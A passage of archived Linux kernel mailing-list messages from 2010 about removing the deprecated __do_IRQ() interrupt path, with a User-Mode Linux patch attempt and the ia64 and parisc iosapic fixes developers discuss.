	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 27 21:48:41 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P0Jgk-00031R-Io
	for glpp-linux-parisc@lo.gmane.org; Mon, 27 Sep 2010 21:48:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933478Ab0I0Tsi convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Sep 2010 15:48:38 -0400
Original-Received: from mail-qw0-f46.google.com ([209.85.216.46]:60920 "EHLO
	mail-qw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933389Ab0I0Tsg convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Sep 2010 15:48:36 -0400
Original-Received: by qwh6 with SMTP id 6so3586379qwh.19
        for <multiple recipients>; Mon, 27 Sep 2010 12:48:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:received:in-reply-to
         :references:date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=/ZXIlc0sZhn5m8yrqmyIWcQeXfHZikAlCgjS74DiaDA=;
        b=Hs1sk8pg0byr5zLuoo1Ul+KSg91m9lcS+sku23v+gHXI7oJnRE8IDkkrAWBN5Q5IVz
         AnIej3Bkhkfbpad/yr0c+gcbd3R7GPo/dS9QRQZ3i/v3tA0Lwq7m2EZ4ciTKTJ54zae7
         k5PMJvvxTrWNb1W5Svfootk/EwT2KMPFB4KIo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=TzumJcTvnsSA/0tVSZEB/93XOj3KjinbaX7Yyu+4Xqgn3libW+sxtv/Lz+Zd324qu4
         NHvu2l00vgQk4uGxEs8sSLGaNepysH+u+wtPoFMfH5ktweShNlOtGtrc7+3PjaEbcidp
         uDSreqkilZtcAnr0DwzK0HeUEEoe14xY/vo+M=
Original-Received: by 10.224.60.213 with SMTP id q21mr5133329qah.353.1285616914993;
 Mon, 27 Sep 2010 12:48:34 -0700 (PDT)
Original-Received: by 10.229.81.71 with HTTP; Mon, 27 Sep 2010 12:48:34 -0700 (PDT)
In-Reply-To: <20100908152036.643594727@linutronix.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3104 gmane.linux.kernel:1041598 gmane.linux.ports.alpha:1176 gmane.linux.ports.ia64:21460 gmane.linux.kernel.cross-arch:7734
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3104>

On Wed, Sep 8, 2010 at 8:14 PM, Thomas Gleixner <tglx@linutronix.de> wr=
ote:
> __do_IRQ() has been deprecated after a two years migration phase in
> =A0The following architectures are still using __do_IRQ():
>
> =A0alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um
>

Maybe I'm naive but shouldn't this path work?
Does um need some extra work?

The linux executable aborts immediately when I apply my patch.

---cut---
Locating the bottom of the address space ... 0x10000
Locating the top of the address space ... 0xc0000000
Core dump limits :
        soft - 0
        hard - NONE
Checking that ptrace can change system call numbers...OK
Checking syscall emulation patch for ptrace...OK
Checking advanced syscall emulation patch for ptrace...OK
Checking for tmpfs mount on /dev/shm...nothing mounted on /dev/shm
Checking PROT_EXEC mmap in /tmp/...OK
Checking for the skas3 patch in the host:
  - /proc/mm...not found: No such file or directory
  - PTRACE_FAULTINFO...not found
  - PTRACE_LDT...not found
UML running in SKAS0 mode
Aborted
---cut---

diff --git a/arch/um/Kconfig.um b/arch/um/Kconfig.um
index ec2b8da..ae950e0 100644
--- a/arch/um/Kconfig.um
+++ b/arch/um/Kconfig.um
@@ -147,3 +147,8 @@ config KERNEL_STACK_ORDER
          This option determines the size of UML kernel stacks.  They w=
ill
          be 1 << order pages.  The default is OK unless you're running=
 Valgrind
          on UML, in which case, set this to 3.
+
+config GENERIC_HARDIRQS_NO__DO_IRQ
+       def_bool y
+
+
diff --git a/arch/um/kernel/irq.c b/arch/um/kernel/irq.c
index a3f0b04..3d44535 100644
--- a/arch/um/kernel/irq.c
+++ b/arch/um/kernel/irq.c
@@ -334,7 +334,7 @@ unsigned int do_IRQ(int irq, struct uml_pt_regs *re=
gs)
 {
        struct pt_regs *old_regs =3D set_irq_regs((struct pt_regs *)reg=
s);
        irq_enter();
-       __do_IRQ(irq);
+       generic_handle_irq(irq);
        irq_exit();
        set_irq_regs(old_regs);
        return 1;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Mon, 27 Sep 2010 21:54:06 +0200 (CEST)
Lines: 33
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.1009272152360.2416@localhost6.localdomain6>
References: <20100908152036.643594727@linutronix.de> <AANLkTin23sJT+OqjDqjyk-Gr5r-GfJ_03Q1WUqNLCzgH@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-1463795968-1112802732-1285617250=:2416"
X-Trace: dough.gmane.org 1285617510 16528 80.91.229.12 (27 Sep 2010 19:58:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Sep 2010 19:58:30 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: richard -rw- weinberger <richard.weinberger@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 27 21:58:26 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P0JqD-0006eW-Ij
	for glpp-linux-parisc@lo.gmane.org; Mon, 27 Sep 2010 21:58:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756262Ab0I0T6Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Sep 2010 15:58:24 -0400
Original-Received: from www.tglx.de ([62.245.132.106]:49868 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755947Ab0I0T6X (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Sep 2010 15:58:23 -0400
Original-Received: from localhost (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id o8RJs6CN023673
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 27 Sep 2010 21:54:07 +0200
In-Reply-To: <AANLkTin23sJT+OqjDqjyk-Gr5r-GfJ_03Q1WUqNLCzgH@mail.gmail.com>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3105 gmane.linux.kernel:1041601 gmane.linux.ports.alpha:1177 gmane.linux.ports.ia64:21461 gmane.linux.kernel.cross-arch:7735
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3105>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

---1463795968-1112802732-1285617250=:2416
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT

On Mon, 27 Sep 2010, richard -rw- weinberger wrote:

> On Wed, Sep 8, 2010 at 8:14 PM, Thomas Gleixner <tglx@linutronix.de> wrote:
> > __do_IRQ() has been deprecated after a two years migration phase in
> > The following architectures are still using __do_IRQ():
> >
> > alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um
> >
> 
> Maybe I'm naive but shouldn't this path work?
> Does um need some extra work?

Yes. It needs to set the proper flow handlers. Look for set_irq_chip*
functions and how they are used in other archs.

Thanks,

	tglx

 
---1463795968-1112802732-1285617250=:2416--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Tue, 28 Sep 2010 20:46:07 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20100929004607.GA18362@bombadil.infradead.org>
References: <20100908152036.643594727@linutronix.de>
 <AANLkTikVHO9DmyTX==CwViDK1rP0masBwjMakHZ0U=kZ@mail.gmail.com>
 <alpine.LFD.2.00.1009271953390.2416@localhost6.localdomain6>
 <987664A83D2D224EAE907B061CE93D5301604712B4@orsmsx505.amr.corp.intel.com>
 <alpine.LFD.2.00.1009272048100.2416@localhost6.localdomain6>
 <987664A83D2D224EAE907B061CE93D530160471328@orsmsx505.amr.corp.intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1285721180 18499 80.91.229.12 (29 Sep 2010 00:46:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 29 Sep 2010 00:46:20 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
	LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Sep 29 02:46:16 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1P0koK-0006Tt-4r
	for glka-linux-arch@lo.gmane.org; Wed, 29 Sep 2010 02:46:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753420Ab0I2AqO (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 28 Sep 2010 20:46:14 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:59550 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753124Ab0I2AqN (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Tue, 28 Sep 2010 20:46:13 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1P0koB-0005hc-CS; Wed, 29 Sep 2010 00:46:07 +0000
Content-Disposition: inline
In-Reply-To: <987664A83D2D224EAE907B061CE93D530160471328@orsmsx505.amr.corp.intel.com>
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7766 gmane.linux.kernel:1042251 gmane.linux.ports.alpha:1180 gmane.linux.ports.ia64:21463 gmane.linux.ports.parisc:3106
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3106>

On Mon, Sep 27, 2010 at 12:01:51PM -0700, Luck, Tony wrote:
> > Hmm, why isn't chip->unmask() sufficient ?
>  
> That's a good question.  I'll take a look at what ia64 is doing
> in the ->unmask() and ->end() functions to see if I can fix this
> with some code shuffling.
> 

Did you end up solving this? ia64 iosapic and parisc iosapic still look
fairly similar... I hit the same issue of ->end() not being called in
the handle_level_irq path and ended up just folding in the missing bit
to ->unmask (we were already EOI the IOSAPIC, but missing the EOI for
the parisc cpu.)

--Kyle

From - Thu Nov 08 21:06:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: RE: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Tue, 28 Sep 2010 21:55:01 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <987664A83D2D224EAE907B061CE93D530160554808@orsmsx505.amr.corp.intel.com>
References: <20100908152036.643594727@linutronix.de>
 <AANLkTikVHO9DmyTX==CwViDK1rP0masBwjMakHZ0U=kZ@mail.gmail.com>
 <alpine.LFD.2.00.1009271953390.2416@localhost6.localdomain6>
 <987664A83D2D224EAE907B061CE93D5301604712B4@orsmsx505.amr.corp.intel.com>
 <alpine.LFD.2.00.1009272048100.2416@localhost6.localdomain6>
 <987664A83D2D224EAE907B061CE93D530160471328@orsmsx505.amr.corp.intel.com>
 <20100929004607.GA18362@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1285736135 4679 80.91.229.12 (29 Sep 2010 04:55:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 29 Sep 2010 04:55:35 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
	LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 29 06:55:31 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1P0ohW-0006mB-LB
	for glk-linux-kernel-3@lo.gmane.org; Wed, 29 Sep 2010 06:55:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751514Ab0I2EzS (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 29 Sep 2010 00:55:18 -0400
Original-Received: from mga02.intel.com ([134.134.136.20]:30830 "EHLO mga02.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751272Ab0I2EzP convert rfc822-to-8bit (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 29 Sep 2010 00:55:15 -0400
Original-Received: from orsmga001.jf.intel.com ([10.7.209.18])
  by orsmga101.jf.intel.com with ESMTP; 28 Sep 2010 21:55:03 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.57,251,1283756400"; 
   d="scan'208";a="662172694"
Original-Received: from orsmsx602.amr.corp.intel.com ([10.22.226.211])
  by orsmga001.jf.intel.com with ESMTP; 28 Sep 2010 21:55:03 -0700
Original-Received: from orsmsx505.amr.corp.intel.com ([10.22.226.208]) by
 orsmsx602.amr.corp.intel.com ([10.22.226.211]) with mapi; Tue, 28 Sep 2010
 21:55:02 -0700
Thread-Topic: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Thread-Index: Actfb7cM3c15QnU1TyubPKQVIk/3kAAIeHnw
In-Reply-To: <20100929004607.GA18362@bombadil.infradead.org>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1042306 gmane.linux.ports.alpha:1181 gmane.linux.ports.ia64:21465 gmane.linux.ports.parisc:3107 gmane.linux.kernel.cross-arch:7768
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3107>

> Did you end up solving this? ia64 iosapic and parisc iosapic still look
> fairly similar... I hit the same issue of ->end() not being called in
> the handle_level_irq path and ended up just folding in the missing bit
> to ->unmask (we were already EOI the IOSAPIC, but missing the EOI for
> the parisc cpu.)

Kyle,

Yes. Take a look in today's linux-next kernel (tag next-20100929)
for commit: 5d4bff94f9e0877a85b4dc573eb7a3f1d97c13ae

Essentially I just added an "unmask_irq()" call into the ->end
routine, renamed it, and used it as ->unmask.

It seems to work okay - I tried migrating interrupts around by
poking at /proc/irq/NNN/smp_affinity - and that still works.

-Tony

From - Thu Nov 08 21:06:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Wed, 29 Sep 2010 10:38:07 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20100929143807.GB18362@bombadil.infradead.org>
References: <20100908152036.643594727@linutronix.de>
 <AANLkTikVHO9DmyTX==CwViDK1rP0masBwjMakHZ0U=kZ@mail.gmail.com>
 <alpine.LFD.2.00.1009271953390.2416@localhost6.localdomain6>
 <987664A83D2D224EAE907B061CE93D5301604712B4@orsmsx505.amr.corp.intel.com>
 <alpine.LFD.2.00.1009272048100.2416@localhost6.localdomain6>
 <987664A83D2D224EAE907B061CE93D530160471328@orsmsx505.amr.corp.intel.com>
 <20100929004607.GA18362@bombadil.infradead.org>
 <987664A83D2D224EAE907B061CE93D530160554808@orsmsx505.amr.corp.intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1285771102 24684 80.91.229.12 (29 Sep 2010 14:38:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 29 Sep 2010 14:38:22 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Thomas Gleixner <tglx@linutronix.de>,
	LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 29 16:38:18 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P0xnV-0002E8-Hu
	for glpp-linux-parisc@lo.gmane.org; Wed, 29 Sep 2010 16:38:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752430Ab0I2OiQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Sep 2010 10:38:16 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:43366 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752383Ab0I2OiP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Sep 2010 10:38:15 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1P0xnM-0003RG-0W; Wed, 29 Sep 2010 14:38:08 +0000
Content-Disposition: inline
In-Reply-To: <987664A83D2D224EAE907B061CE93D530160554808@orsmsx505.amr.corp.intel.com>
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3108 gmane.linux.kernel:1042501 gmane.linux.ports.alpha:1182 gmane.linux.ports.ia64:21466 gmane.linux.kernel.cross-arch:7774
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3108>

On Tue, Sep 28, 2010 at 09:55:01PM -0700, Luck, Tony wrote:
> Yes. Take a look in today's linux-next kernel (tag next-20100929)
> for commit: 5d4bff94f9e0877a85b4dc573eb7a3f1d97c13ae
> 
> Essentially I just added an "unmask_irq()" call into the ->end
> routine, renamed it, and used it as ->unmask.
> 

Ahh, cool, glad to hear it.

--Kyle

> It seems to work okay - I tried migrating interrupts around by
> poking at /proc/irq/NNN/smp_affinity - and that still works.
> 
> -Tony
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Wed, 29 Sep 2010 21:26:41 -0400
Lines: 198
Approved: news@gmane.org
Message-ID: <20100930012641.GA2604@bombadil.infradead.org>
References: <20100908152036.643594727@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1285810015 495 80.91.229.12 (30 Sep 2010 01:26:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 30 Sep 2010 01:26:55 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org, starvik@axis.com,
	jesper.nilsson@axis.com
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Sep 30 03:26:50 2010
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1P17v8-0000Ge-FY
	for lnx-linux-alpha@lo.gmane.org; Thu, 30 Sep 2010 03:26:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751974Ab0I3B0t (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 29 Sep 2010 21:26:49 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49421 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751857Ab0I3B0s (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Wed, 29 Sep 2010 21:26:48 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1P17uz-00053Z-JN; Thu, 30 Sep 2010 01:26:41 +0000
Content-Disposition: inline
In-Reply-To: <20100908152036.643594727@linutronix.de>
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1183 gmane.linux.kernel:1042694 gmane.linux.ports.ia64:21468 gmane.linux.ports.parisc:3109 gmane.linux.kernel.cross-arch:7778
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3109>

On Wed, Sep 08, 2010 at 06:14:14PM -0000, Thomas Gleixner wrote:
> __do_IRQ() has been deprecated after a two years migration phase in
> commit 0e57aa1. Since then another 18 month have gone by.
> 
>  The following architectures are still using __do_IRQ():
> 
